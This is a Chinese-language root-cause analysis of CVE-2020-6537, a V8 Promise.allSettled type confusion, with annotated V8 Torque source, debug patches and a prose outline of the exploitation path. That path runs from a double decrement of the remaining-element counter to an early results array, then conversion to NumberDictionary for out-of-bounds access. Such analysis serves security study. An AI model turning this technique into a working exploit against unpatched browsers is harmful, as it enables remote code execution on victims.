CVE-2020-6537分析报告

一、漏洞详情

84.0.4147.105 之前的 Google Chrome 中的 V8 类型混淆允许远程攻击者通过精心设计的 HTML 页面在沙盒内执行任意代码。

二、影响范围

Google Chrome 84.0.4147.105 之前

三、前置知识

Torque

Torque(简称 TQ)是 V8 JavaScript 引擎内部使用的领域特定语言(DSL),专门用于编写 V8 的高性能内置功能。.tq 文件就是包含 Torque 代码的文件。

大多数用Torque编写的源代码都写入到V8存储库 src/builtins 目录下,文件扩展名为 .tq 。V8的堆分配类的Torque定义与它们的C++定义一起出现在 .tq 文件中,其名称与 src/objects 中相应的C文件相同。实际的Torque编译器可以在 src/torque 下找到。Torque 功能的测试在 test/torquetest/cctest/torquetest/unittests/torque 目录下进行。

为了让您体验一下这种语言,让我们编写一个V8内置程序来打印“Hello World!”为此,我们将在测试用例中添加一个Torque macro ,并从 cctest 测试框架中调用它。

首先打开 test/torque/test-torque.tq 文件,并在末尾添加以下代码(但在最后关闭 } 之前):

1
2
3
4
@export
macro PrintHelloWorld(): void {
Print('Hello world!');
}

接下来,打开 test/cctest/torque/test-torque.cc 并添加以下测试用例,该用例使用新的Torque代码来构建代码存根:

1
2
3
4
5
6
7
8
9
10
11
TEST(HelloWorld) {
Isolate* isolate(CcTest::InitIsolateOnce());
CodeAssemblerTester asm_tester(isolate, JSParameterCount(0));
TestTorqueAssembler m(asm_tester.state());
{
m.PrintHelloWorld();
m.Return(m.UndefinedConstant());
}
FunctionTester ft(asm_tester.GenerateCode(), 0);
ft.Call();
}

然后构建 cctest 可执行文件,最后执行 cctest 测试以打印‘ Hello world ’:

1
2
$ out/x64.debug/cctest test-torque/HelloWorld
Hello world!

Torque如何生成代码

Torque编译器不直接创建机器码,而是生成调用V8现有的 CodeStubAssembler 接口的C代码。 CodeStubAssembler 使用TurboFan编译器的后端生成高效的代码。因此,扭矩编译需要多个步骤:

  1. gn 构建首先运行Torque编译器。它处理所有 *.tq 文件。每个Torque文件 path/to/file.tq 会生成以下文件:
  • path/to/file-tq-csa.ccpath/to/file-tq-csa.h ,包含生成的CSA宏。
  • path/to/file-tq.inc 包含在相应的头文件 path/to/file.h 包含类定义。
  • path/to/file-tq-inl.inc 包含在相应的内联头文件 path/to/file-inl.h ,包含类定义的C访问器。
  • path/to/file-tq.cc ,包含生成的堆验证器、打印机等。

Torque编译器还生成各种其他已知的 .h 文件,这些文件将由V8构建使用。

  1. 然后, gn 构建将从步骤1生成的 -csa.cc 文件编译成 mksnapshot 可执行文件。

  2. mksnapshot 运行时,所有V8的内建都被生成并打包到快照文件中,包括那些在Torque中定义的和任何其他使用Torque定义功能的内建。

  3. V8的其余部分已经构建完成。通过链接到V8的快照文件,可以访问所有由torque编写的内置程序。可以像调用其他内置函数一样调用它们。此外, d8chrome 可执行文件还包括直接与类定义相关的生成编译单元。

从图形上看,构建过程是这样的:

build-process

promise

Promise对象用于表示一个异步操作的最终完成 (或失败)及其结果值

一个 Promise 是一个代理,它代表一个在创建 promise 时不一定已知的值。它允许你将处理程序与异步操作的最终成功值或失败原因关联起来。这使得异步方法可以像同步方法一样返回值:异步方法不会立即返回最终值,而是返回一个 promise,以便在将来的某个时间点提供该值。

一个 Promise 必然处于以下几种状态之一:

  • 待定(pending):初始状态,既没有被兑现,也没有被拒绝。
  • 已兑现(fulfilled):意味着操作成功完成。
  • 已拒绝(rejected):意味着操作失败。

一个待定的 Promise 最终状态可以是已兑现并返回一个值,或者是已拒绝并返回一个原因(错误)。当其中任意一种情况发生时,通过 Promise 的 then 方法串联的处理程序将被调用。如果绑定相应处理程序时 Promise 已经兑现或拒绝,这处理程序将被立即调用,因此在异步操作完成和绑定处理程序之间不存在竞态条件。

如果一个 Promise 已经被兑现或拒绝,即不再处于待定状态,那么则称之为已敲定(settled)

流程图展示了 Promise 状态在 pending、fulfilled 和 rejected 之间如何通过 then() 和 catch() 处理程序进行转换。一个待定的 Promise 可以变成已兑现或已拒绝的状态。如果 Promise 已经兑现,则会执行“on fulfillment”处理程序(即 then() 方法的第一个参数),并继续执行进一步的异步操作。如果 Promise 被拒绝,则会执行错误处理程序,可以将其作为 then() 方法的第二个参数或 catch() 方法的唯一参数来传递。

你还会听到使用已解决(resolved)这个术语来描述 Promise——这意味着该 Promise 已经敲定(settled),或为了匹配另一个 Promise 的最终状态而被“锁定(lock-in)”,进一步解决或拒绝它都没有影响。原始 Promise 提案中的 States and fates 文档包含了更多关于 Promise 术语的细节。在口语中,“已解决”的 Promise 通常等价于“已兑现”的 Promise,但是正如“States and fates”所示,已解决的 Promise 也可以是待定或拒绝的。例如:

jsCopy to Clipboard

1
2
3
4
5
6
7
new Promise((resolveOuter) => {
resolveOuter(
new Promise((resolveInner) => {
setTimeout(resolveInner, 1000);
}),
);
});

此 Promise 在创建时已经被解决(因为 resolveOuter 是同步调用的),但它是用另一个 Promise 解决的,因此在内部 Promise 兑现的 1 秒之后才会被兑现。在实践中,“解决”过程通常是在幕后完成的,不可观察,只有其兑现或拒绝是可观察的。

Promise.allSettled()方法返回一个在所有给定的promise都已经fulfilled或rejected后的promise,并带有一个对象数组,每个对象表示对应的promise结果。

promise.allSettled

Promise.allSettled() 是处理多个 Promise 的实用方法,它会等待所有 Promise 完成(无论成功或失败),并返回每个 Promise 的结果详情。以下是详细说明和具体使用示例:

核心特点

  1. 不短路:与 Promise.all() 不同,即使某些 Promise 失败,它也会等待所有 Promise 完成
  2. 统一结构:每个结果都是对象,包含:
    • status: "fulfilled"(成功)或 "rejected"(失败)
    • value(成功时)或 reason(失败时)

基础用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const promise1 = Promise.resolve("成功");
const promise2 = Promise.reject("失败");
const promise3 = new Promise(resolve => setTimeout(() => resolve("延迟成功"), 1000));

Promise.allSettled([promise1, promise2, promise3])
.then(results => {
console.log(results);
});

/* 输出:
[
{ status: "fulfilled", value: "成功" },
{ status: "rejected", reason: "失败" },
{ status: "fulfilled", value: "延迟成功" }
]
*/

结果处理示例

  1. 分类处理成功/失败
1
2
3
4
5
6
7
8
9
10
Promise.allSettled([apiCall1(), apiCall2(), apiCall3()])
.then(results => {
results.forEach((result, index) => {
if (result.status === "fulfilled") {
console.log(`操作 ${index+1} 成功:`, result.value);
} else {
console.error(`操作 ${index+1} 失败:`, result.reason);
}
});
});
  1. 提取成功结果
1
2
3
const successfulData = results
.filter(result => result.status === "fulfilled")
.map(result => result.value);
  1. 收集错误日志
1
2
3
const errors = results
.filter(result => result.status === "rejected")
.map(result => result.reason);

对比其他方法

方法 行为 适用场景
Promise.all() 任一失败立即拒绝 需要所有操作都成功
Promise.any() 第一个成功即解决 获取首个可用结果
Promise.race() 第一个完成即解决(无论成败) 超时控制
Promise.allSettled() 等待所有完成 需要完整的结果报告

实际应用场景

场景1:批量上传文件

1
2
3
4
5
6
7
8
9
10
const uploadResults = await Promise.allSettled(
files.map(file => uploadToServer(file))
);

// 生成报告
const report = {
succeeded: uploadResults.filter(r => r.status === "fulfilled").length,
failed: uploadResults.filter(r => r.status === "rejected").length,
errors: uploadResults.filter(r => r.status === "rejected").map(r => r.reason)
};

场景2:多API数据聚合

1
2
3
4
5
6
7
8
const [userData, productData, cartData] = await Promise.allSettled([
fetch("/api/user"),
fetch("/api/products"),
fetch("/api/cart")
]);

// 安全访问数据
const user = userData.status === "fulfilled" ? userData.value : null;

注意事项

  1. 浏览器兼容性:现代浏览器均支持(包括Chrome 76+、Firefox 71+、Safari 13+),Node.js 12.9.0+ 支持
  2. Polyfill:如需兼容旧环境,可添加以下polyfill:
1
2
3
4
5
6
7
8
9
if (!Promise.allSettled) {
Promise.allSettled = promises =>
Promise.all(
promises.map(p =>
p.then(value => ({ status: "fulfilled", value }),
reason => ({ status: "rejected", reason })
)
);
}

总结

当您需要:

  • 获取多个异步操作的完整结果报告
  • 独立处理每个 Promise 的结果(无论成功失败)
  • 避免因单个失败导致整个操作中断

Promise.allSettled() 是最佳选择,它提供了对异步操作结果的完整可见性和控制权

四、漏洞成因

前面讲了promise.allSettled。重点是,只有传入的所有promise对象都已经fulfilled或rejected后才会返回一个array。

漏洞代码解释

PromiseAllSettled

我们来看下PromiseAllSettled的对应实现,源码在src/builtins/promise-all.tq。PromiseAllSettled仅仅是调用了GeneratePromiseAll, 然后再调用至PerformPromiseAll

1
2
3
4
5
6
7
8
9
// ES#sec-promise.allsettled
// Promise.allSettled ( iterable )
transitioning javascript builtin PromiseAllSettled(
js-implicit context: Context, receiver: JSAny)(iterable: JSAny): JSAny {
return GeneratePromiseAll(
receiver, iterable, PromiseAllSettledResolveElementFunctor{},
PromiseAllSettledRejectElementFunctor{});
}

这段代码是 V8 引擎中实现 JavaScript Promise.allSettled() 方法的核心逻辑。我来逐行解释它的工作原理:

1. 函数定义与参数

1
2
transitioning javascript builtin PromiseAllSettled(
js-implicit context: Context, receiver: JSAny)(iterable: JSAny): JSAny {
  • transitioning:标记这是从 JavaScript 到 C++ 的过渡函数(V8 内部实现方式)。
  • javascript builtin:表示这是 JavaScript 的内置函数。
  • PromiseAllSettled:实现 Promise.allSettled() 方法。
  • 参数
    • context:执行上下文(隐式参数)。
    • receiver:调用该方法的对象(通常是 Promise 构造函数)。
    • iterable:传入的可迭代对象(如数组),包含多个 Promise。

2. 核心逻辑:调用 GeneratePromiseAll

1
2
3
4
  return GeneratePromiseAll(
receiver, iterable, PromiseAllSettledResolveElementFunctor{},
PromiseAllSettledRejectElementFunctor{});
}
  • GeneratePromiseAll:V8 内部的通用函数,用于处理 Promise 聚合逻辑(如 Promise.allPromise.allSettled)。
  • 关键区别
    • Promise.allSettledResolveElementFunctor:处理 Promise 成功的情况。
    • Promise.allSettledRejectElementFunctor:处理 Promise 失败的情况。
  • 这两个 Functor 定义了 Promise.allSettled 的核心行为:无论 Promise 是成功还是失败,都继续执行,最终返回包含所有结果的数组

总结:Promise.allSettled() 的核心逻辑

  1. Promise.all 的区别
    • Promise.all:只要有一个 Promise 失败,就立即返回失败。
    • Promise.allSettled:等待所有 Promise 无论成功或失败,并返回包含结果状态的数组(如 {status: "fulfilled", value: x}{status: "rejected", reason: y})。
  2. V8 实现方式
    • 通过 GeneratePromiseAll 通用函数实现。
    • 使用不同的 Functor 处理成功和失败的 Promise,确保所有结果都被收集。
  3. 实际应用场景
    • 批量请求资源时,不希望一个失败导致全部中断。
    • 需要统计所有请求的成功 / 失败状态。

PerformPromiseAll

我们来看下PerformPromiseAll的对应实现,源码在src/builtins/promise-all.tq,大致上说,这个函数对传入的参数进行迭代,并对其中的每一个元素都调用了promiseResolve。同时,函数中使用了remainingElementsCount这个变量来代表“尚未处理完成的promise数量”,并将这个值保存在了resolveElementContext中,便于全局访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

transitioning macro GeneratePromiseAll<F1: type, F2: type>(
implicit context: Context)(
receiver: JSAny, iterable: JSAny, createResolveElementFunctor: F1,
createRejectElementFunctor: F2): JSAny {
const nativeContext = LoadNativeContext(context);
// Let C be the this value.
// If Type(C) is not Object, throw a TypeError exception.
const receiver = Cast<JSReceiver>(receiver)
otherwise ThrowTypeError(MessageTemplate::kCalledOnNonObject, 'Promise.all');

// Let promiseCapability be ? NewPromiseCapability(C).
// Don't fire debugEvent so that forwarding the rejection through all does
// not trigger redundant ExceptionEvents
const capability = NewPromiseCapability(receiver, False);

// NewPromiseCapability guarantees that receiver is Constructor.
assert(Is<Constructor>(receiver));
const constructor = UnsafeCast<Constructor>(receiver);

try {
// Let promiseResolve be GetPromiseResolve(C).
// IfAbruptRejectPromise(promiseResolve, promiseCapability).
const promiseResolveFunction =
GetPromiseResolve(nativeContext, constructor);

// Let iterator be GetIterator(iterable).
// IfAbruptRejectPromise(iterator, promiseCapability).
let i = iterator::GetIterator(iterable);

// Let result be PerformPromiseAll(iteratorRecord, C,
// promiseCapability). If result is an abrupt completion, then
// If iteratorRecord.[[Done]] is false, let result be
// IteratorClose(iterator, result).
// IfAbruptRejectPromise(result, promiseCapability).
return PerformPromiseAll(
nativeContext, i, constructor, capability, promiseResolveFunction,
createResolveElementFunctor, createRejectElementFunctor)
otherwise Reject;
} catch (e) deferred {
goto Reject(e);
} label Reject(e: Object) deferred {
// Exception must be bound to a JS value.
const e = UnsafeCast<JSAny>(e);
const reject = UnsafeCast<JSAny>(capability.reject);
Call(context, reject, Undefined, e);
return capability.promise;
}
}

1. 函数定义与泛型参数

1
2
3
4
transitioning macro GeneratePromiseAll<F1: type, F2: type>(
implicit context: Context)(
receiver: JSAny, iterable: JSAny, createResolveElementFunctor: F1,
createRejectElementFunctor: F2): JSAny {
  • transitioning macro:从 JavaScript 到 C++ 的过渡宏。
  • 泛型参数F1和F2:分别是处理 Promise 成功和失败的函数类型。
    • Promise.allF1F2 会触发不同行为(失败立即拒绝)。
    • Promise.allSettledF1F2 都会收集结果(无论成功或失败)。
  • 参数
    • receiver:调用该方法的对象(通常是 Promise 构造函数)。
    • iterable:传入的可迭代对象(如数组),包含多个 Promise。
    • createResolveElementFunctorcreateRejectElementFunctor:自定义处理逻辑的函数。

2. 创建新的 Promise 能力(PromiseCapability)

1
const capability = NewPromiseCapability(receiver, False);
  • NewPromiseCapability:创建一个新的 Promise 和对应的 resolve/reject 函数。
  • False:禁用调试事件,避免重复触发异常事件。

3. 获取 Promise 的 resolve 函数

1
const promiseResolveFunction = GetPromiseResolve(nativeContext, constructor);
  • GetPromiseResolve:获取 Promise 的 resolve 方法,用于将值包装为 Promise。

4. 遍历可迭代对象并执行 Promise 聚合

1
2
3
4
5
let i = iterator::GetIterator(iterable);
return PerformPromiseAll(
nativeContext, i, constructor, capability, promiseResolveFunction,
createResolveElementFunctor, createRejectElementFunctor)
otherwise Reject;
  • iterator::GetIterator:获取可迭代对象的迭代器。

  • PerformPromiseAll
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20

    :核心逻辑,处理所有 Promise 并返回结果:

    - 遍历每个 Promise,对其调用 `then` 方法。
    - 根据 `createResolveElementFunctor` 和 `createRejectElementFunctor` 的逻辑处理结果。
    - 最终通过 `capability.resolve` 返回一个新 Promise。

    **5. 异常处理**

    ```javascript
    try {
    // 正常逻辑...
    } catch (e) deferred {
    goto Reject(e);
    } label Reject(e: Object) deferred {
    const e = UnsafeCast<JSAny>(e);
    const reject = UnsafeCast<JSAny>(capability.reject);
    Call(context, reject, Undefined, e);
    return capability.promise;
    }
  • 如果执行过程中抛出异常,跳转到 Reject 标签。

  • Reject 标签:调用 capability.reject 拒绝 Promise,并返回被拒绝的 Promise。

PromiseAllResolveElementClosure

我们来看下PromiseAllResolveElementClosure的对应实现,源码在src/builtins/promise-all-element-closure.tq中。当promise被resolve时,就会调用resolveElementFun;相应的,promise被reject时,就会调用 rejectElementFun 。这两个函数分别由createResolveElementFunctorcreateRejectElementFunctor生成,并且它们最终都会调用至PromiseAllResolveElementClosure。在这里,V8会将promise处理的结果保存至一个数组中,同时减少“尚未处理完成的promise数量”的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

transitioning macro PromiseAllResolveElementClosure<F: type>(
implicit context: Context)(
value: JSAny, function: JSFunction, wrapResultFunctor: F): JSAny {
// We use the {function}s context as the marker to remember whether this
// resolve element closure was already called. It points to the resolve
// element context (which is a FunctionContext) until it was called the
// first time, in which case we make it point to the native context here
// to mark this resolve element closure as done.
if (IsNativeContext(context)) deferred {
return Undefined;
}
assert(
context.length ==
PromiseAllResolveElementContextSlots::kPromiseAllResolveElementLength);
const nativeContext = LoadNativeContext(context);
function.context = nativeContext;

// Update the value depending on whether Promise.all or
// Promise.allSettled is called.
const updatedValue = wrapResultFunctor.Call(nativeContext, value);

// Determine the index from the {function}.
assert(kPropertyArrayNoHashSentinel == 0);
const identityHash =
LoadJSReceiverIdentityHash(function) otherwise unreachable;
assert(identityHash > 0);
const index = identityHash - 1;

// Check if we need to grow the [[ValuesArray]] to store {value} at {index}.
const valuesArray = UnsafeCast<JSArray>(
context[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementValuesArraySlot]);
const elements = UnsafeCast<FixedArray>(valuesArray.elements);
const valuesLength = Convert<intptr>(valuesArray.length);
if (index < valuesLength) {
// The {index} is in bounds of the {values_array},
// just store the {value} and continue.
elements.objects[index] = updatedValue;
} else {
// Check if we need to grow the backing store.
const newLength = index + 1;
const elementsLength = elements.length_intptr;
if (index < elementsLength) {
// The {index} is within bounds of the {elements} backing store, so
// just store the {value} and update the "length" of the {values_array}.
valuesArray.length = Convert<Smi>(newLength);
elements.objects[index] = updatedValue;
} else
deferred {
// We need to grow the backing store to fit the {index} as well.
const newElementsLength = IntPtrMin(
CalculateNewElementsCapacity(newLength),
kPropertyArrayHashFieldMax + 1);
assert(index < newElementsLength);
assert(elementsLength < newElementsLength);
const newElements =
ExtractFixedArray(elements, 0, elementsLength, newElementsLength);
newElements.objects[index] = updatedValue;

// Update backing store and "length" on {values_array}.
valuesArray.elements = newElements;
valuesArray.length = Convert<Smi>(newLength);
}
}
let remainingElementsCount =
UnsafeCast<Smi>(context[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementRemainingSlot]);
remainingElementsCount = remainingElementsCount - 1;
context[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementRemainingSlot] = remainingElementsCount;
if (remainingElementsCount == 0) {
const capability = UnsafeCast<PromiseCapability>(
context[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementCapabilitySlot]);
const resolve = UnsafeCast<JSAny>(capability.resolve);
Call(context, resolve, Undefined, valuesArray);
}
return Undefined;
}

1. 函数定义与参数

1
2
3
transitioning macro PromiseAllResolveElementClosure<F: type>(
implicit context: Context)(
value: JSAny, function: JSFunction, wrapResultFunctor: F): JSAny {
  • **泛型参数 F**:处理结果的函数类型(如 Promise.allPromise.allSettled 的差异点)。
  • 参数
    • value:当前 Promise 解析的值。
    • function:解析回调函数(携带索引信息)。
    • wrapResultFunctor:封装结果的函数(由调用方提供)。

2. 防止重复调用的标记机制

1
2
3
if (IsNativeContext(context)) deferred {
return Undefined;
}
  • 标记逻辑:通过修改function.context来标记回调是否已执行(避免 Promise 重复解析)。
    • 首次执行时,context 是普通上下文,继续执行。
    • 重复执行时,context 被设为 NativeContext,直接返回 Undefined

3. 更新结果值

1
const updatedValue = wrapResultFunctor.Call(nativeContext, value);
  • 差异点
    • Promise.all:直接返回 value
    • Promise.allSettled:返回 {status: "fulfilled", value}

4. 从函数中提取索引

1
2
const identityHash = LoadJSReceiverIdentityHash(function) otherwise unreachable;
const index = identityHash - 1;
  • 索引存储技巧
    • V8 将每个 Promise 的索引编码在其回调函数的 identityHash 中。
    • 例如,第 0 个 Promise 的回调函数的 identityHash 为 1,第 1 个为 2,依此类推。

5. 更新结果数组(核心逻辑)

1
2
const valuesArray = UnsafeCast<JSArray>(
context[PromiseAllResolveElementContextSlots::kPromiseAllResolveElementValuesArraySlot]);
  • **valuesArray**:存储所有 Promise 结果的数组(初始为空)。

6. 处理索引越界的情况

1
2
3
4
5
6
7
if (index < valuesLength) {
// 索引在当前数组范围内,直接存储
elements.objects[index] = updatedValue;
} else {
// 索引超出当前数组范围,需要扩容
// ... 扩容逻辑 ...
}
  • 动态扩容
    • 当索引超出数组长度时,V8 会创建新的 FixedArray,复制旧元素,并设置新值。
    • 这确保了结果数组始终能容纳所有 Promise 的结果,无论解析顺序如何。

7. 计数器更新与最终结果处理

1
2
3
4
5
6
7
8
9
10
11
let remainingElementsCount =
UnsafeCast<Smi>(context[PromiseAllResolveElementContextSlots::kPromiseAllResolveElementRemainingSlot]);
remainingElementsCount = remainingElementsCount - 1;
context[PromiseAllResolveElementContextSlots::kPromiseAllResolveElementRemainingSlot] = remainingElementsCount;

if (remainingElementsCount == 0) {
const capability = UnsafeCast<PromiseCapability>(
context[PromiseAllResolveElementContextSlots::kPromiseAllResolveElementCapabilitySlot]);
const resolve = UnsafeCast<JSAny>(capability.resolve);
Call(context, resolve, Undefined, valuesArray);
}
  • 计数器逻辑
    • remainingElementsCount 初始为 Promise 总数。
    • 每个 Promise 解析后,计数器减 1。
    • 当计数器为 0 时,所有 Promise 已解析,调用 resolve(valuesArray) 返回最终结果。

五、相关环境

为了方便我们调试,我们在源码的关键部位加上打印调试信息

promise-all-element-closure.tq

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
  let remainingElementsCount =
UnsafeCast<Smi>(context[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementRemainingSlot]);
remainingElementsCount = remainingElementsCount - 1;

Print("remainingElementsCount remain ---------------------------->");
Print(remainingElementsCount);

context[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementRemainingSlot] = remainingElementsCount;
if (remainingElementsCount == 0) {
const capability = UnsafeCast<PromiseCapability>(
context[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementCapabilitySlot]);
const resolve = UnsafeCast<JSAny>(capability.resolve);
Print("back to JS !!!!");
Print(valuesArray);
Call(context, resolve, Undefined, valuesArray);
}
return Undefined;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Check if we need to grow the [[ValuesArray]] to store {value} at {index}.
const valuesArray = UnsafeCast<JSArray>(
context[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementValuesArraySlot]);
const elements = UnsafeCast<FixedArray>(valuesArray.elements);
const valuesLength = Convert<intptr>(valuesArray.length);
if (index < valuesLength) {
// The {index} is in bounds of the {values_array},
// just store the {value} and continue.
Print("elements--------------------------->");
Print(elements);
Print("updatedValue----------------------->");
Print(updatedValue);
elements.objects[index] = updatedValue;
Print("elements--------------------------->");
Print(elements);
} else {

promise-all.tq

1
2
3
4
5
6
7
8
9
10
11
// Set remainingElementsCount.[[Value]] to
// remainingElementsCount.[[Value]] + 1.
const remainingElementsCount = UnsafeCast<Smi>(
resolveElementContext[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementRemainingSlot]);
resolveElementContext[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementRemainingSlot] =
remainingElementsCount + 1;
Print("remainingElementsCount Count-------------------->");
Print(remainingElementsCount+1);

然后再重新编译即可

六、漏洞利用

漏洞解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ransitioning macro PromiseAllResolveElementClosure<F: type>(
implicit context: Context)(
value: JSAny, function: JSFunction, wrapResultFunctor: F): JSAny {
//...
let remainingElementsCount =
UnsafeCast<Smi>(context[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementRemainingSlot]);
remainingElementsCount = remainingElementsCount - 1; // ---> [1]
context[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementRemainingSlot] = remainingElementsCount;
if (remainingElementsCount == 0) {
const capability = UnsafeCast<PromiseCapability>(
context[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementCapabilitySlot]);
const resolve = UnsafeCast<JSAny>(capability.resolve);
Call(context, resolve, Undefined, valuesArray); // ---> [2]
}
return Undefined;
}

可以看到,函数会从resolveElementContext中读取出remainingElementsCount,减去1,然后再保存回去(代码[1]处)。当remainingElementsCount减少至0时,代表所有promise都处理完毕,那么函数就会将结果数组返回给用户(代码[2]处)。

正常而言,resolveElementFunrejectElementFun 这两个函数,最多只能有一个被调用,代表着这个promise是被resolve,还是被reject(promise不可能既resolve,同时又reject)。但是,通过一些回调手法,我们可以获得resolveElementFunrejectElementFun 这两个函数对象,从而有机会同时调用这两个函数。这将导致在处理一个promise对象时,remainingElementsCount 会被减去2次,于是进一步导致我们可以在并非所有promise都被处理完的情况下,提前拿到结果数组。此时,V8内部和我们都会持有valuesArray ,这就为类型混淆创造了机会。

所以我们可以先一步拿到返回的array,然而settled的过程仍在继续,这点可以通过调试得知,后面在remainingElementsCount等于0后会继续减为负数。

我们拿到array之后,可以改变array的map,从而在其之后的settled过程中达到类型混淆,比如我们可以将array从FixedArray类型变为NumberDictionary,如此一来最直观的一点就是。

下载

可以看到如果仍按照未变类型之前的偏移去读写数据的话就会造成越界读写,这也是在消去checkmaps之后常用的越界手段。

类型转化的方法有slide上贴出的,arr[0x10000] = 1 ,原因是对于FixedArray来说,其内嵌的对象数量有一定的限制,超过这个限制就会自然转化为NumberDictionary形式,同样也是为了节省空间的优化表现形式。

FixedArray与NumberDictionary的内存结构对比

来源\src\objects\fixed-array.tq

1
2
3
4
5
6
7
8
9
10
11
12
@abstract
@generateCppClass
extern class FixedArrayBase extends HeapObject {
// length of the array.
const length: Smi;
}

@generateBodyDescriptor
@generateCppClass
extern class FixedArray extends FixedArrayBase {
objects[length]: Object;
}

来源\src\builtins\base.tq

1
2
extern class HashTable extends FixedArray generates 'TNode<FixedArray>';
extern class NumberDictionary extends HashTable;

来源\src\objects\fixed-array.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
// FixedArray describes fixed-sized arrays with element type Object.
class FixedArray
: public TorqueGeneratedFixedArray<FixedArray, FixedArrayBase> {
public:
// Setter and getter for elements.
inline Object get(int index) const;
inline Object get(const Isolate* isolate, int index) const;

static inline Handle<Object> get(FixedArray array, int index,
Isolate* isolate);

// Return a grown copy if the index is bigger than the array's length.
V8_EXPORT_PRIVATE static Handle<FixedArray> SetAndGrow(
Isolate* isolate, Handle<FixedArray> array, int index,
Handle<Object> value);

// Setter that uses write barrier.
inline void set(int index, Object value);
inline bool is_the_hole(Isolate* isolate, int index);

// Setter that doesn't need write barrier.
inline void set(int index, Smi value);
// Setter with explicit barrier mode.
inline void set(int index, Object value, WriteBarrierMode mode);

// Setters for frequently used oddballs located in old space.
inline void set_undefined(int index);
inline void set_undefined(Isolate* isolate, int index);
inline void set_null(int index);
inline void set_null(Isolate* isolate, int index);
inline void set_the_hole(int index);
inline void set_the_hole(Isolate* isolate, int index);

inline ObjectSlot GetFirstElementAddress();
inline bool ContainsOnlySmisOrHoles();

// Gives access to raw memory which stores the array's data.
inline ObjectSlot data_start();

inline void MoveElements(Isolate* isolate, int dst_index, int src_index,
int len, WriteBarrierMode mode);

inline void CopyElements(Isolate* isolate, int dst_index, FixedArray src,
int src_index, int len, WriteBarrierMode mode);

inline void FillWithHoles(int from, int to);

// Shrink the array and insert filler objects. {new_length} must be > 0.
V8_EXPORT_PRIVATE void Shrink(Isolate* isolate, int new_length);
// If {new_length} is 0, return the canonical empty FixedArray. Otherwise
// like above.
static Handle<FixedArray> ShrinkOrEmpty(Isolate* isolate,
Handle<FixedArray> array,
int new_length);

// Copy a sub array from the receiver to dest.
V8_EXPORT_PRIVATE void CopyTo(int pos, FixedArray dest, int dest_pos,
int len) const;

// Garbage collection support.
static constexpr int SizeFor(int length) {
return kHeaderSize + length * kTaggedSize;
}

// Code Generation support.
static constexpr int OffsetOfElementAt(int index) {
STATIC_ASSERT(kObjectsOffset == SizeFor(0));
return SizeFor(index);
}

// Garbage collection support.
inline ObjectSlot RawFieldOfElementAt(int index);

// Maximally allowed length of a FixedArray.
static const int kMaxLength = (kMaxSize - kHeaderSize) / kTaggedSize;
static_assert(Internals::IsValidSmi(kMaxLength),
"FixedArray maxLength not a Smi");

// Maximally allowed length for regular (non large object space) object.
STATIC_ASSERT(kMaxRegularHeapObjectSize < kMaxSize);
static const int kMaxRegularLength =
(kMaxRegularHeapObjectSize - kHeaderSize) / kTaggedSize;

// Dispatched behavior.
DECL_PRINTER(FixedArray)

int AllocatedSize();

class BodyDescriptor;

static constexpr int kObjectsOffset = kHeaderSize;

protected:
// Set operation on FixedArray without using write barriers. Can
// only be used for storing old space objects or smis.
static inline void NoWriteBarrierSet(FixedArray array, int index,
Object value);

private:
STATIC_ASSERT(kHeaderSize == Internals::kFixedArrayHeaderSize);

inline void set_undefined(ReadOnlyRoots ro_roots, int index);
inline void set_null(ReadOnlyRoots ro_roots, int index);
inline void set_the_hole(ReadOnlyRoots ro_roots, int index);

TQ_OBJECT_CONSTRUCTORS(FixedArray)
};

来源\src\objects\dictionary.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
class NumberDictionary
: public Dictionary<NumberDictionary, NumberDictionaryShape> {
public:
DECL_CAST(NumberDictionary)
DECL_PRINTER(NumberDictionary)

// Type specific at put (default NONE attributes is used when adding).
V8_WARN_UNUSED_RESULT static Handle<NumberDictionary> Set(
Isolate* isolate, Handle<NumberDictionary> dictionary, uint32_t key,
Handle<Object> value,
Handle<JSObject> dictionary_holder = Handle<JSObject>::null(),
PropertyDetails details = PropertyDetails::Empty());

static const int kMaxNumberKeyIndex = kPrefixStartIndex;
void UpdateMaxNumberKey(uint32_t key, Handle<JSObject> dictionary_holder);

// Sorting support
void CopyValuesTo(FixedArray elements);

// If slow elements are required we will never go back to fast-case
// for the elements kept in this dictionary. We require slow
// elements if an element has been added at an index larger than
// kRequiresSlowElementsLimit or set_requires_slow_elements() has been called
// when defining a getter or setter with a number key.
